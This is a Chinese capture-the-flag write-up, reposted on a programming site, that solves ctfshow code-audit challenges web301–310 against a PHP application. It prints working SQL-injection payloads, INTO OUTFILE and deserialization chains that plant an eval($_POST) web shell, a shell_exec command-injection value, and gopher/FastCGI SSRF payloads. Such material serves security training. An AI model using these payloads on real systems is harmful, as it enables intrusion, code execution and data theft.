我的编程空间,编程开发者的网络收藏夹
学习永远不晚

ctfshow代码审计篇

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

ctfshow代码审计篇

文章目录

web301-SQL注入

image-20230124164010013

check.php

$username=$_POST['userid'];$userpwd=$_POST['userpwd'];$sql="select sds_password from sds_user where sds_username='".$username."' order by id limit 1;";$result=$mysqli->query($sql);$row=$result->fetch_array(MYSQLI_BOTH);if(!strcasecmp($userpwd,$row['sds_password'])){$_SESSION['login']=1;$result->free();$mysqli->close();header("location:index.php");return;}

登录框存在sql注入

strcasecmp(str1,str2):比较字符串

如果 str1 小于 str2 返回 < 0, 如果 str1 大于 str2 返回 > 0,如果两者相等,返回 0

strcasecmp($userpwd,$row['sds_password']):意思是只要经过SQL执行后的结果等于我们输入的pwd即可登录
由于没有任何过滤,可以使用union注入

userid=0' union select 1#&userpwd=1

登录进去即可拿到flag

另一个方法,union注入 写shell进去

userid=1' union select "" into outfile "/var/www/html/shell.php"#&userpwd=1

image-20230124171614321

web302- sql写shell

修改的地方:if(!strcasecmp(sds_decode($userpwd),$row['sds_password'])){

思路与上题一样,不过是输入的password经过了一点加密,构造一下就行

sql注入写shell也是没问题的,因为sql语句依旧是正常执行了

userid=1' union select "" into outfile "/var/www/html/shell.php"#&userpwd=1

web303- insert

对username进行了字符长度限制阻止这里注入,其他不变

但是sql文件里有账密的信息

image-20230124233602936

这个admin:admin直接登录进去

dptadd.php存在注入点

image-20230124232156486

insert没有过滤

然后定位到dpt.php插入的数据从sds_dpt查询数出来

image-20230124232240643
insert into sds_dpt set sds_name='1',sds_address =(select database())#

就在这里进行注入

image-20230124233824338
dpt_name=1',sds_address =(select database())## 得到 sdsdpt_name=2',sds_address =(select group_concat(table_name) from information_schema.tables where table_schema=database())## 得到    sds_dpt,sds_fl9g,sds_userdpt_name=3',sds_address =(select group_concat(column_name) from information_schema.columns where table_name="sds_fl9g")## 得到 flagdpt_name=4',sds_address =(select group_concat(flag) from sds_fl9g)#

image-20230125001202974

web304- 报错注入

增加了全局waf

function sds_waf($str){return preg_match('/[0-9]|[a-z]|-/i', $str);}

似乎没有调用,与上题一样,换一种方式,有报错信息就试试报错注入

报错回显字符有限制 用substr

查库dpt_name=1&dpt_address=a' or updatexml(1,concat(0x7e,(select database()),0x7e),1)#查表dpt_name=1&dpt_address=a' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)#查字段dpt_name=1&dpt_address=a' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='sds_flaag'),0x7e),1)#查flagdpt_name=1&dpt_address=a' or updatexml(1,concat(0x7e,substr((select group_concat(flag) from  sds_flaag),1,30),0x7e),1)#dpt_name=1&dpt_address=a' or updatexml(1,concat(0x7e,substr((select group_concat(flag) from          sds_flaag),20,30),0x7e),1)#

image-20230125004100220

web305- 反序列化蚁剑连接数据库

waf过滤很多 不能注入了

多了个反序列化

class.php

class user{public $username;public $password;public function __construct($u,$p){$this->username=$u;$this->password=$p;}public function __destruct(){file_put_contents($this->username, $this->password);}}

反序列化点在checklogin.php的cookie

$user_cookie = $_COOKIE['user'];if(isset($user_cookie)){$user = unserialize($user_cookie);}

利用起来很简单,file_put_contents写马进去即可 ,然后cookie传入payload

class user{    public $username;    public $password;    public function __construct($u, $p){        $this->username = $u;        $this->password = $p;    }}$s = new user('shell.php','');echo urlencode(serialize($s));
O%3A4%3A%22user%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A9%3A%22shell.php%22%3Bs%3A8%3A%22password%22%3Bs%3A24%3A%22%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3B%3F%3E%22%3B%7D

因为flag在数据库里,蚁剑连上后要连数据库

image-20230125013705560

image-20230125013428353 image-20230125013739986 image-20230125013800881

web306- 反序列化

关键代码

//class.phpclass log{public $title='log.txt';public $info='';public function loginfo($info){$this->info=$this->info.$info;}public function close(){file_put_contents($this->title, $this->info);}

可以利用file_put_contents来写shell ,需要调用close()方法

//dao.php

image-20230126123839599

dao类中的destruct()方法调用了 close()

index.php中有反序列化点

image-20230126124222196

那么就在这里进行构造

dao::__destruct()-->log::close()

poc:

class log{    public $title = '1.php';    public $info = '';}class dao{    private $conn;    public function __construct($conn){        $this->conn=$conn;    }}$s = new dao(new log());echo base64_encode(serialize($s));
TzozOiJkYW8iOjE6e3M6OToiAGRhbwBjb25uIjtPOjM6ImxvZyI6Mjp7czo1OiJ0aXRsZSI7czo1OiIxLnBocCI7czo0OiJpbmZvIjtzOjI0OiI8P3BocCBldmFsKCRfUE9TVFsxXSk7Pz4iO319

传入cookie的user参数

访问下index.php就可以生成文件了

image-20230126130446153

web307- shell_exce()

与上题比较是 方法名改了,closelog()无法调用

image-20230126131348555

放进seay里面扫一下

image-20230126131514606

dao.php里面有个 shell_exec()

class dao{private $config;private $conn;public function __construct(){$this->config=new config();$this->init();}    public function  clearCache(){shell_exec('rm -rf ./'.$this->config->cache_dir.'/*');}}

$this->config->cache_dir可以构造,继续跟进config类

image-20230126131740698

shell_exec()可以执行echo命令 写入shell

我们期望构造出 shell_exec('echo "" > 1.php;')

$cache_dir = '; echo "" > 1.php; ' 

继续跟进clearCache()方法

logout.php存在 反序列化点并且调用了clearCache()

根据以上条件即可构造poc

class config{    public $cache_dir = '; echo "" > 1.php; ' ;  这里需要转义$符}class dao{    private $config;    public function __construct(){        $this->config=new config();    }}$s = new dao();echo base64_encode(serialize($s));
TzozOiJkYW8iOjE6e3M6MTE6IgBkYW8AY29uZmlnIjtPOjY6ImNvbmZpZyI6MTp7czo5OiJjYWNoZV9kaXIiO3M6NDQ6IjsgZWNobyAiPD9waHAgZXZhbChcJF9QT1NUWzFdKTs/PiIgPiAxLnBocDsgIjt9fQ==

访问反序列化的入口文件:/controller/logout.php

image-20230126135852281

image-20230126140031274

web308- ssrf打mysql

这里加上了waf,只能匹配纯字母,所以这里不能利用了

image-20230126163141651

seay也没扫出别的漏洞点,多了个checkVersion()方法

跟进checkUpdate()

image-20230126163315724

发现是存在ssrf

config.php 发现 用户root 密码空

image-20230126165253647

可以通过gopher 来生成 打mysql的payload

image-20230126172334045

继续查看哪里调用了checkVersion()

index.php ,与上题一样 ,需要反序列化调用到dao类

image-20230126164332473

构造poc:

class config{    public $update_url = 'gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%45%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%22%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%61%2e%70%68%70%22%01%00%00%00%01';}class dao{    private $config;    public function __construct(){        $this->config=new config();    }}$s = new dao();echo base64_encode(serialize($s));

反序列化点index.php

image-20230126170929103

image-20230126172310733

web309- ssrf打fastcgi

需要拿shell,308的方法不行了,mysql 有密码了

代码是和308一样,不过不能通过ssrf打mysql了

这题是通过ssrf利用fastcgi,ssrf利用fastcgi此文章讲的很好

https://blog.csdn.net/weixin_39664643/article/details/114977217

FastCGI攻击需要满足三个条件:1. PHP版本要高于5.3.3,才能动态修改PHP.INI配置文件2. 知道题目环境中的一个PHP文件的绝对路径3.PHP-FPM监听在本机9000端口

利用gopherus工具可以 FastCGI 执行任意命令

image-20230126175747157

payload还是用上面的poc来反序列化传入

image-20230126180020760

web310- ssrf+fastcfgi写shell

给的源码还是308,还是用fastcgi,这次直接写shell进去,因为flag文件不知道在哪

image-20230126184557027

成功写入后可以直接找flag在var目录下

image-20230126185250486

还可以使用file://协议读取配置文件 /etc/nginx/nginx.conf

class config{    public $update_url = 'file:///etc/nginx/nginx.conf';}class dao{    private $config;    public function __construct(){        $this->config=new config();    }}$s = new dao();echo base64_encode(serialize($s));

image-20230126190029709

4476端口对应着 /var/flag目录,有个index.html文件,这和我们连上蚁剑后知道的一样

直接ssrf访问这个端口

class config{    public $update_url = 'http://127.0.0.1:4476';}class dao{    private $config;    public function __construct(){        $this->config=new config();    }}$s = new dao();echo base64_encode(serialize($s));

image-20230126190545934

来源地址:https://blog.csdn.net/qq_61768489/article/details/128767019

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

ctfshow代码审计篇

下载Word文档到电脑,方便收藏和打印~

下载Word文档

猜你喜欢

2023-09-01

python 安全编码&代码审计

现在一般的web开发框架安全已经做的挺好的了,比如大家常用的django,但是一些不规范的开发方式还是会导致一些常用的安全问题,下面就针对这些常用问题做一些总结。代码审计准备部分见《php代码审计》,这篇文档主要讲述各种常用错误场景,基本上
2023-01-31

编程热搜

  • Python 学习之路 - Python
    一、安装Python34Windows在Python官网(https://www.python.org/downloads/)下载安装包并安装。Python的默认安装路径是:C:\Python34配置环境变量:【右键计算机】--》【属性】-
    Python 学习之路 - Python
  • chatgpt的中文全称是什么
    chatgpt的中文全称是生成型预训练变换模型。ChatGPT是什么ChatGPT是美国人工智能研究实验室OpenAI开发的一种全新聊天机器人模型,它能够通过学习和理解人类的语言来进行对话,还能根据聊天的上下文进行互动,并协助人类完成一系列
    chatgpt的中文全称是什么
  • C/C++中extern函数使用详解
  • C/C++可变参数的使用
    可变参数的使用方法远远不止以下几种,不过在C,C++中使用可变参数时要小心,在使用printf()等函数时传入的参数个数一定不能比前面的格式化字符串中的’%’符号个数少,否则会产生访问越界,运气不好的话还会导致程序崩溃
    C/C++可变参数的使用
  • css样式文件该放在哪里
  • php中数组下标必须是连续的吗
  • Python 3 教程
    Python 3 教程 Python 的 3.0 版本,常被称为 Python 3000,或简称 Py3k。相对于 Python 的早期版本,这是一个较大的升级。为了不带入过多的累赘,Python 3.0 在设计的时候没有考虑向下兼容。 Python
    Python 3 教程
  • Python pip包管理
    一、前言    在Python中, 安装第三方模块是通过 setuptools 这个工具完成的。 Python有两个封装了 setuptools的包管理工具: easy_install  和  pip , 目前官方推荐使用 pip。    
    Python pip包管理
  • ubuntu如何重新编译内核
  • 改善Java代码之慎用java动态编译

目录